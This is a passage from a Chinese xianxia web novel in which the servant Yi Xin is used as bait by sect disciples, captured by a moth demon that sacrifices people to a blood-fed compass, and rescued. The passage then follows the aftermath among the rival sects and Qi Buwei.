余桓明白了,这是不打算承认的意思,他顿时怒从心头起,质问道:“我不想和你们装傻!你们抓了易辛去引妖怪,人呢!为什么不把她带回来!她出什么事了?”
钱沁一脸莫名其妙:“你发什么疯呢?找错人了吧?我们是去捉妖了,但没什么诱饵。那妖怪异常狡猾,我们都受了些伤,没抓住他。”
余桓气得捏紧拳头,咯咯作响。眼前这些人太过无耻,也太过荒谬,如今变成了最坏的结果,妖怪没抓住,易辛也不知是牺牲了还是被抓走了……
余桓忍下怒气,竭力平和,面色凝重:“关于这事,我们心知肚明。我发誓,我会当作没听过没看见,只要你们说出易辛的下落,这件事除了我们,不会有第三方人马知晓。”
钱衡面容冷硬:“余桓,看来你想给我们扣莫须有的帽子,我们不认得什么易辛,也没拿谁当诱饵。你有何不满,便告到宗主和掌门那里。”
话落,钱衡便要蛮横地推开余桓,陡然间感到身后一阵凛冽的杀意,猛地回头,恍觉一道人影倏忽而至,下意识抬手抵挡,然而动作似被看穿了似的,对方架住自己的手腾挪倒转,瞬间面门大开。
下一瞬,脖子便牢牢扼住,手上传来钢铁般的力道。
这一切快得猝不及防,好像只是眨眼之间。
“哥!”钱沁大惊。
钱衡闷哼出声,抬眼一看,祁不为面无表情,眼角眉梢皆是杀伐之意,仿佛从尸山血海之中而来,带着猎猎腥风。
众人俱是一惊。
钱衡最为直观,仿佛无形的刀子喇过脸孔。和上回所见相比,祁不为似乎有了很大不同,脸还是那么年轻,气势却更加老练杀伐。
祁不为声音低沉:“你们说的易辛,是谁?长什么样?”
钱沁想要分开哥哥和祁不为,可那条手臂纹丝不动,眼见钱衡开始脸红脖子粗,而祁不为又是一副要掀翻天的模样,她顿时又怒又妒,语调讥讽:“怎么?你有个认识的人也叫易辛?是那日你在长廊上说喜欢她的易辛吗!”
祁不为加大力度,钱衡隐隐有离地之势。
他一字一顿,漆黑无光的眼睛盯住钱衡:“易辛在哪!”
钱衡死死瞪住祁不为,嘴上虽有气无力,却含着股要气死他的执着:“我不知道……你说的是谁。”
祁不为的头发和衣袂无风自动,飘然间,杀意翻涌。
余桓和众人不自觉吊起心神。
钱衡笑了:“你……想杀我?只要……你敢……那就动手!”
钱沁急了:“祁不为,你疯了!你想挑起无相宗和清风山庄的争端吗!为了一个无足轻重的侍女值得吗!放开我哥!”
说着,钱沁抽出长鞭,又恨又难过地挥鞭相向。
余桓见势不妙,提剑挡住钱沁的鳌金鞭,灵力相撞间,众人不禁弹开几步,再回看风暴之地时,余桓和祁不为赫然不见,钱衡躺倒在地,捂着脖子嗬哧喘气。
钱沁连忙扶起钱衡:“哥,你没事吧?”
钱衡双目赤红,死死瞪着祁不为消失的方向,残忍而笑:“就算你找得到她,见到的也不过是一具被吸干了的尸骨而已。”
山洞内,一阵风刮过,易辛被凌空扔在地上,不待反应,手腕便缠上一圈又一圈的麻绳。
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易辛趴伏在地,挣扎着起身,头边掠过一角衣袍,卷起浓烈腥气,洞内明暗间晃了几晃,噗呲几声,嵌在石壁上的火把次第亮起。
火光中,易辛见那妖怪缓缓走向洞中唯一一张可坐可睡的床榻,那妖怪看也不看易辛,倒头就憩。
易辛惴惴不安,但强迫自己镇定。
她被迷晕后再度醒来时,身旁空无一人,但身体却不由自主地行动起来,显而易见,背后有人操控。
彼时她还不知钱沁等人打着什么算盘,直到头上忽而盘旋一道巨大阴影,那是一只状似飞蛾的妖怪,背生双翼,眼大如盘,扑棱间闪着细碎飞粉。
飞粉落在身上时,易辛又晕了过去,接着便到了现在。
她细细思量,余桓曾说镇外有妖怪,她一出现,那只飞蛾妖便来了。不出所料,钱沁拿自己当了诱饵。
但他们失败了,所以飞蛾妖把自己抓走了。
易辛脸上蕴着怒容,此时此刻真是恨死了他们……
她不知道钱沁那行人是被妖怪杀死了,还是逃了。
若是逃了,以他们从头到尾都没在自己跟前露面的行径来看,他们不想东窗事发,毕竟仙门用平民百姓作饵一事性质恶劣。
那么,他们也绝对不会搬救兵来救她,反而她被妖怪吃掉是他们最期盼的结局。
最后,易辛得出结论,没人“知道”她被妖怪掳走了,她只能依靠自己逃出去。
思量间,鼻端的腥气愈发浓烈,易辛忍住呕吐之感,逡巡四周,倏然瞪大眼睛。
这股腥臭不是飞蛾身上的,洞穴内横亘着一个白色大茧,白茧底下鲜红一片,红色液体滴滴答答落下,坠在下方的一方凹池里。
那凹池里满是红液,再仔细一看,池面上浮着一个小小罗盘,白茧滴落的液体都会流经它,再滑入池塘。
是……血吗?
易辛手脚冰凉,在昏暗的角落里瞥见了一些衣服,看起来不像飞蛾化形后要穿的,那……便是先前被抓来这里的人!
她猛地抬头,惊惧地盯着那方白茧。山洞内不见尸骨,只有浓烈的血腥味,是因为人都在茧子里?被腐化成了血肉?
她控制不住地去想象茧内画面,再也压抑不住地呕吐起来。
呼吸呕吐间,血腥味争先恐后地钻入她体内,仿佛自己喝了腐烂的血水,激得她连酸水都吐了出来。
流双本化了人形卧榻休憩,忽闻得那几乎要把胃吐出来的动静,轻慢抬了眼皮,见易辛一张脸毫无血色,嗤笑一声。
“不用急,等它吃完,下一个就到你了。”
易辛浑身一颤,对上流双冷漠的目光,极力压住声音中的胆怯,问道:“你……为什么要抓人……给它吃?”
流双下榻,走到池边,回望易辛:“没关系,我可以让你死个明白。看见池子里的罗盘了吗?只要吃够十个人,它就能指引我找到我的孩子。”
易辛愣住,她以为“它”是白茧,没想到是那个不起眼的罗盘?!
流双继续道:“我之前已经让它吃了十个人,它便告诉我,我的孩子在甘华门。这次献祭结束,它就能告诉我确切的答案。”
甘华门除妖时抓走了他的孩子吗?
易辛斟酌道:“那你为何不用抓来的人和甘华门去换你的孩子。”
流双看了易辛一眼,神色嘲弄讽刺。
“我为何要换我的孩子?我找他,是为了杀他。”
易辛睁大眼睛。
39. 第八章
流双见易辛吃惊不已,厌蠢般笑了一下。
易辛不可置信:“他不是你的骨血吗?为何要杀他?”
流双:“我和他素未谋面,若不是我发现自身妖力莫名减弱衰退,我根本不知道世上有这样一个他。”
易辛越听越不明白。
流双这一支妖族,若与凡人结合诞下子嗣,子嗣但凡年满二十,便会吞掉茧妖一半力量。
“……多年前,我隐去了妖族身份,与一凡人女子相恋。谁知那女子却出身捉妖世家,假意接近我,只是为了将我茧妖全族一网打尽。事迹败露后,我屠了他们全家,只留下那女子一人,废去她全身修为,叫她余生悔恨!”
“只是我没想到,她怀了我的孩子。真是心思歹毒,妄图用这种方法削弱我的力量,好来伺机报仇。”
屠杀全家?易辛愣愣听着。
流双端详易辛,冷笑:“生气?”
易辛心里憋着一口气,嘴上却没选择硬碰硬:“不敢。”
流双哼笑一声:“算你识相。”
他从容不迫地走到易辛身前,扯住她一头长发,逼得她仰起下巴。
流双:“我想杀你,简直轻而易举。至于那些被我杀死的凡人女子,要怪就怪她们太弱了,蝼蚁何来的资格愤怒?”
流双似有些激动,面容扭曲着,在人脸与蛾首间变化,烛火影绰下,诡异可怖。
易辛的怒火瞬间被压了下去,呼吸跟着飘了起来,白茧滴答滴答,鲜血仿佛溅在耳边,一下一下敲打天灵盖,犹如催命符。
易辛丝毫不掩饰自己的惧怕。
见状,流双愉悦起来,面容固成人形,松开她:“你还能活约莫一个时辰,好好珍惜吧。”
话落,流双便见她似乎被这番话刺激到了,眸中浮起水光,怜弱又害怕,哀求道:“等等……我……能不能去桌子那边……”
易辛继续祈求:“这里有些黑……桌子上有蜡烛……那里更亮……我怕黑……”
说着,易辛适时落泪。
流双没答话,兀自躺回塌上。
易辛小心翼翼起身,朝桌边走了两步,见他没有出言阻止,便挪至桌边。
乖乖坐下,时不时吸两下鼻子,仿佛不想丧命,又害怕惹他发怒,只好把恐惧都咽回肚子里,焦急又无可奈何地啜泣。
流双又是哼了一声,翻身背对易辛。
她面上还是那副可怜相,心底却松了口气……这样他就看不到自己了。
不知过了多久,山洞愈发寂静。
易辛先是看了眼白茧,血流匀速,没有枯竭之相,再看流双,呼吸平缓,应该是睡着了。
山洞越安静,易辛心跳得越响亮,她慢慢后仰,一边注意流双,一边用手靠近烛火。
火焰高温,燎得手腕发烫发痛,绳子也渐渐烧断,发出一股气味儿。
易辛甚至听见了麻绳细条的崩断之声。
她咬紧牙,浑身僵硬,冷汗顺着额际滑落。
这些动静极其细微,听在她耳里有如雷鸣。她双眼紧紧盯住流双,心却几乎要跳出嗓子眼。
终于,手腕上的束缚倏忽一松,她赶紧缠住麻绳,轻轻放到桌子底下,再笼起裙摆,每一步都竭力走得悄无声息。
她此刻十分庆幸,身上从不佩戴首饰玉环。
她慢慢走向洞口,在山洞时,她便探清了地势。
这是一处凹进山里的洞穴,从洞穴至山外有条不长不短的隧道,天光渗进来,越往里越暗。
隧道两旁还有几条岔道,岔道内漆黑一片。
易辛追着天光朝前走,越靠近,越有劫后余生之感。
终于,当她即将迈出隧道时,却被无形透明的屏障挡住了!
一颗心瞬间跌落谷底。
易辛面色白了几分,伸手触摸屏障,无论摸到哪里,总伸不出去。
她动作有几分慌乱,最后认命般停了下来,盯着外头景象。
屏障外是一片树林,树木笔直参天,至极高处才有枝叶,如此一来,外面毫无掩体。
她一介凡人,不修仙不练功,唯一有用的便是风疏送给她的三只箭。
不知道木箭能不能破除结界,但破界必定惊动流双。
纵然她跑进树林,也立马会被发现。那时惹怒了流双,她一定当场被杀。
想到此处,易辛回头望向山洞,逆光之下,那里几乎漆黑一片,仿佛一张慢慢迫近的血盆大口。
事到如今,易辛恍然觉得自己一举一动皆在流双眼皮子底下。
他大概把她当成了无聊时戏耍的小白鼠,想看看她为了活命能做到何种地步。
如果回去,便彻底失去了主动权,到时再被绑束手脚,就一点儿希望也没了。
不回去,好歹能搏一把。
易辛依旧放轻脚步,择了一条岔路而行,天光和烛火都无法渗入时,她停了下来。
再往前,一丝光亮也无,但那里那么黑,也许流双也看不太清……
易辛深呼吸几下,往前摸到一块石壁,便蹲在了后头。
这条岔路上有许多遮挡的石壁,躲在这里,并不突兀。
易辛浑身融入黑暗中,短短几息,心率便快得异乎寻常,脑中恍惚晕眩,浑身紧绷。
仿佛回到了前世,在那个暗无天日之地,光与声全部湮灭,对时辰流逝之感也失去了知觉,呆在那种地方,不知何时能离开,不知自己是死是活,最后变得只想去死……
易辛猛地咬住指节,用了很大力气,巨痛让她清醒过来。
她如渴水之人一般,死死望着一旁依稀可见的光亮,眼中渗出几缕血丝。
冷静、冷静……不是全黑的……她可以的……不能死……
在一切归于寂静后,流双倏忽睁了眼,山洞里空无一人。
有意思,居然还想躲。
流双下地,寻着最后的动静走向岔道,山道里光线昏暗,视物不明。
流双蓦地开口:“若我点把火,你的藏身之地便能看得一清二楚。等我抓住你,场面就不大好看了。”
流双一寸一寸扫过山道,没有异常,只有他的回音。
“我没耐心和你耗了。”
罗盘已经吃完了,易辛是最后一个。
流双大手一挥,山风卷过,凌空腾起几簇火焰,甚至把血腥味刮了进来。
一簇火焰陡然亮起时,流双看见山壁后一截鞋履,脸上露出残忍笑意,大步流星地走去。
易辛见他掠过自己藏身的山壁,立即扑向流双,高举右手,对准他后心。
木箭即将扎进流双体内时,他猛然转过身,迅雷不及掩耳之势地攥住了易辛手腕
——易辛没功夫震惊,也来不及感受手腕上近乎碎骨的痛楚,当机立断用左手拿过木箭,再要刺向流双!
奈何人与妖的反应力实在差了太多,流双既能在受了障眼法的情况下挡住易辛第一次攻击,便能挡下面对面的第二次。
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流双捏住易辛左手,反拧过来,让箭调转方向,毫不犹豫捅向她近在咫尺的脖子。
刹那间,流双甚至想象到了几瞬后的画面——箭镞会扎进脆弱的脖子里,用力一拉,两侧锐利的箭角将勾连出血肉,紧接着温热的鲜血会从那个窟窿里喷射而出!
然后,易辛便死了。
这不禁让他兴奋地笑了起来,瞳孔里还倒映出易辛坚决的面容,并非她打算决绝赴死,只是尚未反应过来,面上神情还停留在她拔箭决然相刺的刹那。
只是顷刻间,流双笑意僵在了脸上,一道流光转瞬之间刺入山道。
流双全身上下每一寸都在告诉他,不能被这道流光伤中。
视线里,万物忽然变慢。
他微微后撤,流光里冲出一把长剑,剑刃对准两人共同握住的那支箭,将其从中折断,卸去了流双的攻击。
箭羽断裂后,半截转道,擦着易辛侧颈钉入山洞里,另半截被流双攥着后退。
一切变故皆在瞬息之间,易辛只感到眼前闪过一道身影,接着耳边便响起打斗声,拂得火焰忽明忽暗,两道影子照在山壁上,影影绰绰。
易辛回神后,立即去看来人,竟是易张稚!
前世她和易张稚交集少之又少,但众所周知,他修为强悍。
为了不当累赘,她立即朝外跑,还没跑两步,身后一阵腥风,直冲后脑。
她不敢回头看,下意识抱头下蹲,忽而感到易张稚翻身落在自己面前,把流双拉远了些,但却是挡住了她的去路。
岔道本就狭窄,面前一人一妖正相斗,易辛没法从他们之间穿过去,只好往回退,尽量离他们远点。
易张稚似有所觉,越斗越退,从岔道退到了隧道,这时,他一改畏手畏脚的打法,施术果断凌厉,把流双逼进山洞深处。
易辛趁机跑出岔道和隧道,一路逃出洞口,在她犹豫去甘华门搬救兵还是静待易张稚除妖时,身后忽然响起爆炸声。
她顿时慌了一下,刚想回身,便被人按着肩膀飞扑了出去,气浪随后轰来,烟尘滚滚,山石乱飞。
易辛狠狠扑在地上,鼻端全是尘土,间或夹杂着腥气。
她呛咳着起身,易张稚同样趴在地上,一动不动,背后溅了星星点点的血迹,肩膀上却洇出一大滩。
易辛变了脸色,慌张喊道:“醒醒……公子……你醒醒……”
易张稚没有反应,她连忙去探鼻息,幸好还有气。接着她又环顾四周,地上飞沙走石,还溅了大片血渍。
易辛怀疑是山洞里那片血池炸了。
……那个妖怪呢?!
易辛顿时吊起一口气,看向烟雾滚滚的山口,仿佛随时会扑出一只巨大的飞蛾……
如果他没死,那她和易张稚便危险了……
不知还有何处可以藏,但坐以待毙绝对是等死。
易辛咬紧牙关,从地上爬起来,刚要起身,未料衣服被易张稚压住,猝然跌着向前跪下了。
膝盖磕在地上,一双破了皮的手磨过砂石,掀起细密而针扎般的刺痛,她忍不住有些焦灼挫败。
她真没用……
这时,低垂的视线里忽然映入一双鞋子。
月麟香徐徐而来,浅淡安神。
易辛猛地抬头,从环佩腰间的香囊看到那张脸。
祁不为静静望来,眉眼黑沉,有些不高兴。
须臾,他半蹲在易辛身前,说道:“对不起。”
40. 第九章
茧妖作案老练,已抹掉了他和易辛的气息和踪迹,最后还是白狐自告奋勇,用了余桓仙门的灵药强化嗅觉,寻着空气里微弱到几近于无的气味找到此地。
祁不为没空理会白狐怎么在芙蓉镇,白狐也怕他,十分乖觉地缩在余桓怀中,尽心尽力地搜寻易辛。
等祁不为骤闻一声爆炸时,便立即飞速而至。
他看见易辛率先醒来,也看到了身旁的易张稚。
须臾之间,有些微妙。
上一世,祁有为主动献策,她乔装成普通人,被茧妖抓去老巢,发现山洞内无人生还时,才和茧妖斗了起来。
路过此地的易张稚察觉到妖气,便和她联手斗妖。
茧妖知道自己不敌,也不想就此伏诛,本着同归于尽的念头自曝妖体。
易张稚以身护住祁有为,受伤昏迷,得她青睐与悉心照顾。
回忆至此,祁不为目光难言地望着易辛,但还是按捺不表,慢慢蹲下身:“对不起。”
易辛一时没反应过来,还停在近乎神降天兵般的错愕中。
祁不为静静地望着她。
但见她前一刻还满脸坚决地要逃命,下一刻看见他时,却神情愣怔,眉眼松动,好像下一瞬就要哭了似的。
在易辛水光隐动的双眼中,祁不为心里那些微妙难言的不舒服一下子就干净了。
在山庄里小脸和衣服都干干净净的,一出门便落得灰头土脸可怜兮兮的模样,真是……
“让你瞎跑!”祁不为冷道。
听得责骂,易辛垂下眼睛,看见祁不为的那些庆幸与安心立即烟消云散,胸口闷闷的,禁不住生出几分怒气。
谁瞎跑?!她分明是被人绑来的,差点死了!
始作俑者还是祁不为!
钱沁让她当诱饵,她不信其中没有丝毫祁不为的关系。
祁不为不知易辛心里那么多小九九,双手抄起她腋下,像抱小孩似的把人拉起来,语气放缓许多:“受伤了没?伤哪了?”
易辛冷不丁被他拎了起来,感到自己和他距离太近,下意识想要后退两步,却被按着腰推了回来。
她蹙眉抬眼。
祁不为本想让她答话,对上她的目光,一时觉得不可思议,又有些好笑。
“怨我干什么?是我让你乱跑到这里来的?现在出事了来怪我?”
易辛收敛神情,语调平平,不怒不喜:“不敢怨公子。我没有乱跑。就算出事了,也没麻烦公子收拾烂摊子。”
生气了还不承认,祁不为盯住易辛眼睛:“你确定不要我善后?”
易辛十分确定。
若是那妖怪没死,祁不为第一时间便是斗妖,不会有闲工夫来奚落她。
她刚要答话,祁不为神色陡然一凛,双目如刀,凌厉地望向山洞。
这番姿态吓得易辛浑身一抖,岔道里那阵袭向后脑的阴风似乎又来了。
——难道那只飞蛾没死?!
她不禁骇然,忘了手心刺痛,紧紧揪住祁不为衣衫。
“呵,不是说不会麻烦我收拾烂摊子吗?”祁不为调笑道。
易辛倏地抬头,只见祁不为和前一瞬判若两人,当即知道自己被耍了。
她撇过头,拧眉推着祁不为胸口,想要后退几步。
但腰上那只手却不让她后退,挣扎间,易辛发觉脚下触感不对,微一垂眼,愣住了。
在岔道里,她脱了一只鞋,用来引诱流双。
如今那只没有鞋履的脚正踩在祁不为鞋面上。
再仔细一看,是祁不为特意往前伸了几寸,把鞋子垫在她脚下……
易辛一时无言,松了手上抗拒的力道,却被祁不为执起手,拂开掌心,露出斑驳创面。
看到伤口,易辛猛然觉得自己太荒谬,竟把易张稚忘得干净,立马低头去看:“公子……他受伤——”
“死不了。”祁不为浑不在意,打断得冷酷无情。
易辛:“……”
这时,祁不为身后匆匆跑来两人,正是余桓和白三清。
白三清激动道:“易辛,你没事吧?”
易辛一边摇头,一边掰开搭在腰上的手,这回没受到阻拦,她退开两步,又朝余桓点头致意:“余桓师兄,这位公子受伤了。”
余桓粗略检查了一番,确认易张稚没有大碍,只是背上嵌入了碎石,回山治疗即可,又去坍塌的山洞内看了一圈。
流双爆体而亡,找不到任何尸块了。
余桓简单地封住这片山洞,等回去禀告,再派专人前来探查,净化妖气。
事毕后,一行人动身出发。
易辛让祁不为把自己放在芙蓉镇,一是她想先带白三清去落脚的宅院,二是她不想和祁不为同进同出,再惹怒钱沁。
她只说了第一个原因,熟料祁不为竟打算陪她,美名其曰顺便逛逛芙蓉镇,更让她震惊的是,白三清居然想跟着余桓走。
也不知是不是对祁不为忌惮太深,白三清宁愿躺在余桓的乾坤袋里,也不和祁不为一道走。
祁不为十分干脆地对余桓道:“那你把她带走吧。”
余桓点头,将白三清收入乾坤袋前,又得祁不为一句嘱咐:“收归收,别把她炼了。仙首大会结束后,记得把她还给清风山庄。”
白三清十分吃惊地看了祁不为一眼,似是想不到他还能大发慈悲叫人留她小命,要知道那日她告诉祁不为自己能找到他阿姐时,他可是发现了假扮易辛之人就是她。
难道当真记着她将功补过的情分?
芙蓉镇上,祁不为先带易辛瞧了伤,又买了身新衣裳新鞋子,付钱时却被易辛拦住了。
易辛从那一身旧衣服里拿出荷包,对他认真又平和地说道:“我有钱。”
祁不为没说什么,却打量起易辛,面色良好,脸颊还圆润了几分,看来一路上吃得还挺好。
易辛付好钱,一切妥帖后,对祁不为说道:“公子,你去逛芙蓉镇吧,我要回甘华门了,耽搁了这些时辰,还有很多活要干。”
祁不为一听她要给甘华门干活,一张脸顿时黑了,抓起她绷带缠裹的手晃了晃:“怎么干活?而且你是我们山庄的人,凭什么帮甘华门干活。”
易辛还想说什么,祁不为抱起双手,懒散地走出裁缝铺,留下一句:“去吃饭,我到现在还没吃饭。”
易辛抿抿唇,她又吃不了。
酒楼落座时,祁不为先替易辛斟了茶,又点了几道菜。
不知是否巧合,竟然都是易辛爱吃的。虽然她什么都吃,但仍有些偏好。
在山洞待了许久,易辛确乎有些口渴,也不管自己过手的茶水苦不苦,便想端起茶杯喝两口,祁不为却比她更
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快动作。
茶杯递至嘴边时,易辛愣住了,眨了几下眼,没有动。
祁不为催促道:“不是想喝水吗,喝啊。”
易辛迟疑几下,欲伸手接过茶杯:“多谢公子,我可以自己喝。”
祁不为手一动,揣回茶杯,定定望着易辛,片刻后才问道:“你为何离开山庄。”
这话白三清和余桓都问过,说辞已自动浮现在脑海里,易辛正要开口,又被祁不为打断了。
祁不为:“对不起。”
易辛怔住,手指蜷了蜷,恍然间想到他方才似乎也跟自己道了歉。
祁不为望着易辛,不躲不闪,方才的道歉很诚恳,也令易辛意外。
“当时白狐化作你的样子来我房中,说了些我很不喜欢的话,我一时发怒,没控制住自己,误伤了你,抱歉。”
“白狐走后,我冷静下来,发现屋中有妖气,便明白我误会你了。我当时在气头上,不是真的想赶你走。”
说着说着,祁不为眼睛瞥向一旁,不自在地嘀咕着:“……而且我也不是让你离开山庄的意思啊……你好好呆在山庄,我又不会没事就跑去浣衣坊……两个人不照样见不到么……”
易辛静了片刻,浅浅笑了一下:“我知道公子聪慧,事后会明白这个误会。至于下山,在山庄待久了,我只是想出去看看。易婆婆给我留了很多银钱,在外面玩了一路,我过得很好。”
祁不为端详易辛神态,见她不似作假,似乎真的没有生气,便又双手端起茶水:“赔罪。”
听得他这般说,易辛不好再拒绝,加上口渴,很快喝完一杯茶。
祁不为再问:“那你为何去甘华门?”
易辛:“想多攒些钱,又可以再往北走啦。”
祁不为眉头一动,听这意思,是没有再回山庄的打算了,那种不自在不舒服的感觉又来了,像个没被顺着意思的小孩。
但祁不为按下不表,反正他不是明日走,易辛也不是明日北上。
等上了菜,祁不为倒真摆出赔罪的姿态,尽心尽力伺候易辛吃喝。
一顿饭吃下来,易辛从起初的拘谨,到后来沉浸在美食里,也不在乎眼前喂食之人是谁了。
和白三清分开后,她吃得一直不畅快,虽然极力习惯苦味,但还是不想吃苦。
饭毕,两人回了甘华门,在山门前,易辛直言不顺路,和祁不为分道扬镳。
她不想让钱沁看见两人一起走,免得这个疯子又节外生枝。
经过流双一事,她再次领教了钱沁的狠辣,还是要抓紧时间找到下手的机会……
祁不为这回倒是没有再黏着她,十分听话地同她各走一边。
回到住处后,易辛见到了等候已久的余桓。
易辛疑惑:“余桓师兄,可是找我有事?”
余桓:“进去再说吧。”
两人一同进了屋子,余桓腰间的乾坤袋立即躁动不安,待解了袋口,白三清一现形就毫不客气地捶了余桓一拳。
易辛诧异了一下,又听白三清气急败坏地质问余桓:“你怎么不和你掌门说无相宗把易辛当诱饵的事!”
余桓好声好气地对白三清道:“我来便是要说这事的。”
他转向易辛,神色虽然认真,也确有几分为难:“易辛,为了你自己着想,这件事最好不要闹大。”
41. 第十章
易辛大概能猜到几分原因,并不意外。
余桓:“暂且不说你没看到钱沁等人掳走了你,就算你看见了,当时只有你一人,没有其余证人,这便不足以令人信服。”
白三清眉头拧成川字:“什么意思?!他们还要死不承认啊?”
余桓毫不犹豫道:“他们必然不会承认。仙门利用普通百姓当诱饵,是一件十分敏感且严重的事。若易辛拿不出一锤定音的证据,到时无相宗为了维护门派尊严与威信,反过来对她倒打一耙,那她的下场就难说了。”
余桓继续道:“再者,不管易辛是否状告成功,你觉得以钱衡钱沁等人的肚量,事后会放过易辛吗?敌在暗,她在明,他们要耍起阴招来,易辛一介不懂术法的普通人根本防不胜防。”
白三清越听越生气:“那你们就是欺负易辛是个普通人,没有靠山没有势力呗!我不信若是无相宗绑了哪个门派宗主的孩子,这事也能一边倒地轻飘飘揭过!”
余桓哑口无言,白三清嘴里还气愤嘟囔仙门道貌岸然,易辛倒是显得平静许多,温声道:“多谢余桓师兄。师兄是好意,我明白的。”
最后一句话是对白三清说的,她听了也只好闭嘴不再骂人,易辛对她温和笑了笑,又问余桓:“师兄,那位救我的公子伤势如何了?”
“已经治了伤,甘华门擅练灵丹妙药,不必担心,”余桓想起什么又道,“对了,他名唤易张稚,已被我们留下参加仙首大会。”
易张稚师从深山隐士,修为强大,仙门自然想拉拢对方。
易辛等的便是这句话,趁机提出一个请求:“师兄,他救了我,想必现在也需要人照料,能否把我分派过去,我也能报答一二。”
仙门之中水太深,易张稚游离于仙门之外,若不出意外,应当也会和祁有为亲近,跟在他身边,既安全,又能知晓更多。
余桓面色忽有几分古怪,易辛以为这道请求很为难,又见他笑着颔首:“自然。”
白三清朝余桓挥挥手:“那你快去办这件事吧,我和她呆会儿,记得回来把我带走。”
余桓无奈看了白三清一眼,离开屋子。
两人一起坐下,白三清随手拿了桌上的果脯喂给易辛:“你就咽下这口气了啊?”
易辛摇头,又点点头:“没事,这事闹大了,确实可能会危及自身。”
她面对流双时,对钱沁等人不可谓不恨,但此事不适合大张旗鼓。
她不想成为仙门的焦点,不想成为变数。毕竟,前世她根本不在甘华门。
她担心,若把这件事捅出去了,会带来她无法应对的变故。
还有更重要的事要做,低调透明,有利于她。
易辛朝白三清柔软一笑:“小白,我还没好好谢过你。谢谢你找人来救我,还及时找到了我。”
提起这个,白三清又是一肚子气,连连摇头,仿佛在说“世态炎凉”。
“如今这仙门,我是越来越看不懂了,难怪总听说仙门正江河日下呢。那无相宗是打死都不愿交代你的下落。”
白三清瞥瞥紧闭的屋门,小声道:“我们是在城门口碰见祁不为的,他当时有点可怕,估摸真打算掐死钱衡。”
易辛眉头动了一下,一手支着脑袋,望着虚空长叹一息。祁不为太恨仙门了,若非还有清风山庄和祁有为束缚他,也许他能眼也不眨地杀死仙门中那几人。
白三清想起一事,好奇问道:“祁不为说要把我还给清风山庄是何意思啊?我起初以为他是好意,后来想想,不会想抓我回去兴师问罪吧?”
说到最后,白三清脸色一白。
易辛笑了,拍拍白三清额头:“仙门中人妖殊途、非黑即白的观念太重了。若是你留在其他门派,也许会被炼化。要你回山庄,是指要保证你完好无损,等离开这片地方,他不会管你去哪的。”
“是么?”白三清嘀咕道,瞥瞥嘴,“他这人怎么一会儿好一会儿坏的。”
但说到底,从祁有为让她留在清风山修炼成妖那一刻,便说明他们对妖是包容的。
翌日,易辛便被调遣至易张稚的处所。
那是甘华门最偏的一处院落,幽静宜人。
当易辛踏入院子里时,见易张稚正摩挲着断成两截的长箭,正是风疏给她的。
易辛有些惊讶,当日在山洞时,性命危急,她根本顾不上这支箭:“易公子把这箭捡来了?”
易张稚循声望去,余桓事先已经告诉他易辛会来此地,所以此时见了她并不讶异,摇头答道:“甘华门已派人去封印那处山洞,是他们把这支木箭带回来的。他们以为是我的。”
易辛立马上前,从他手里接过木箭:“多谢公子替我暂存。我拿回去吧。”
她顿了顿,又疑惑道:“不过……木箭断成了两截,为何现下只有其中一半?”
“仙门除妖后都要记录在册,还剩一截应是在甘华门,等他们事毕还给我,我再给你。”
易辛又笑着道谢。
易张稚望着她手中木箭,忽然问道:“这箭,是你做出来的?”
易辛摇摇头:“是……别人送给我的。”
易张稚:“何人相送?”
易辛有些不解:“公子可是觉得这箭有问题?”
易张稚面色如常,没什么表情,只是盯住了箭身:“大部分的箭都是铜铁铸造,这支箭却是木身,可探查一番,其中又蕴含很强的力量,只是气息不似任何仙门宗派,所以有些好奇。”
因为是神明赠送之物,所以不属于任何仙门气息。归墟境跳脱三界之外,她和易张稚算是陌生人,不适合道来。
易辛又道:“机缘巧合得到的箭,我不是修仙之人,不懂其中门道。那位相赠之人,我也不太了解,之后再也没见过了。”
易张稚颔首,没再多问,转身回了屋子。
一日相处下来,易辛和易张稚统共没说几句话。
易张稚绝大多数时刻都在安静出神,手默默搭在无刃剑上,易辛一看到那把剑,仿佛被刺中了一般,匆匆移开目光。
两人为数不多的交流,是因为祁有为。
易张稚问她:“祁有为祁庄主,到了吗?”
易辛答道:“庄主有事,会耽搁几日。”
这是祁不为告诉她的。
刚答完,易辛忽有冥冥之中的感觉。她并不知道二人前世如何生情,但看易张稚难得问一人,似乎对祁有为早有关注。
只是她觉得,依祁不为的性子,他一定会干预这些事。
不知他们三人今生会走向什么结局。
易辛按下杂思乱绪,修剪完院中枝叶时,天已黄昏,她向易张稚暂别,去库房领些他的日需。
刚过一道拐角,易辛迎面遇见了祁不为,未及开口,他便说道:“跟我走。”
没等易辛发问,祁不为便迈开步子,朝着一处地方前行。
无法,易辛只好跟着他走。
良久,祁不为终于停在一处凉亭内,转过身望着易辛。
易辛迷惑问道:“公子来这可是有事?”
祁不为:“钱衡钱沁为了抓住那只茧妖,强迫你以身作饵,害得你差点没了命,
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你一定想为自己伸冤,惩戒他们吧。”
易辛愣了,她和余桓皆能想明白其中利害,没道理祁不为想不通,可他此刻却是一副怂恿易辛去告状的姿态。
难道是因为太恨他们了,所以特别想看到他们被罚?
还是他太生气了,认为事情性质严重,必须叫他们付出代价?
易辛一时不明白祁不为葫芦里卖什么药,只好说道:“我虽能凭借香气断定是钱沁绑了我,可我没有面对面见过他们,何况只有我一个人证,这事不好定论,反而可能害了自己。”
“所以你想就这么算了?”
只见祁不为面色平平,易辛更为不解。他气急败坏一些,好像更符合常理。
易辛:“……嗯。”
祁不为仍然平静,只是说出口的话带了几分认真:“你是清风山庄的人,山庄不会任你白白被欺负,今日你既然不想追究,那便算了,但要记住我前半句话。”
易辛:“……好。”
祁不为点点头:“走吧。”
说罢,他兀自走出凉亭,易辛疑惑地蹙了蹙眉,再度跟上。
走了好半晌后,祁不为斜睨易辛一眼:“看我一路了,有话就说。”
“……方才是有人在听我们说话吗?你说给对方听的?”
祁不为嘴角上扬,转过头来看易辛,神色笃定:“放心,这事不会闹起来。但这几日,钱沁必定禁足。”
易辛顿住,眸光倏忽亮了。
她没去琢磨钱沁为何被禁足,脑海里率先浮现的念头是——对钱沁下手的机会到了。
厢房中,钱沁脸上挨了重重一巴掌,被打得扑倒在地。
钱备怒火中烧:“你抓了一个侍女去引诱妖怪,还敢瞒下不报!要不是我今日偶然听见,我都不知道你做了这么蠢的事!”
钱衡立即上前,急道:“爹!息怒吧……我们下次不会再抓无辜百姓——”
话没说完,钱备又反手打了钱衡一个响亮的耳光。
钱备更怒:“连错都不知错在哪,你也是蠢货一个!”
两人挨了巴掌,本是又怒又惧,听钱备这么一说,反倒茫然了。
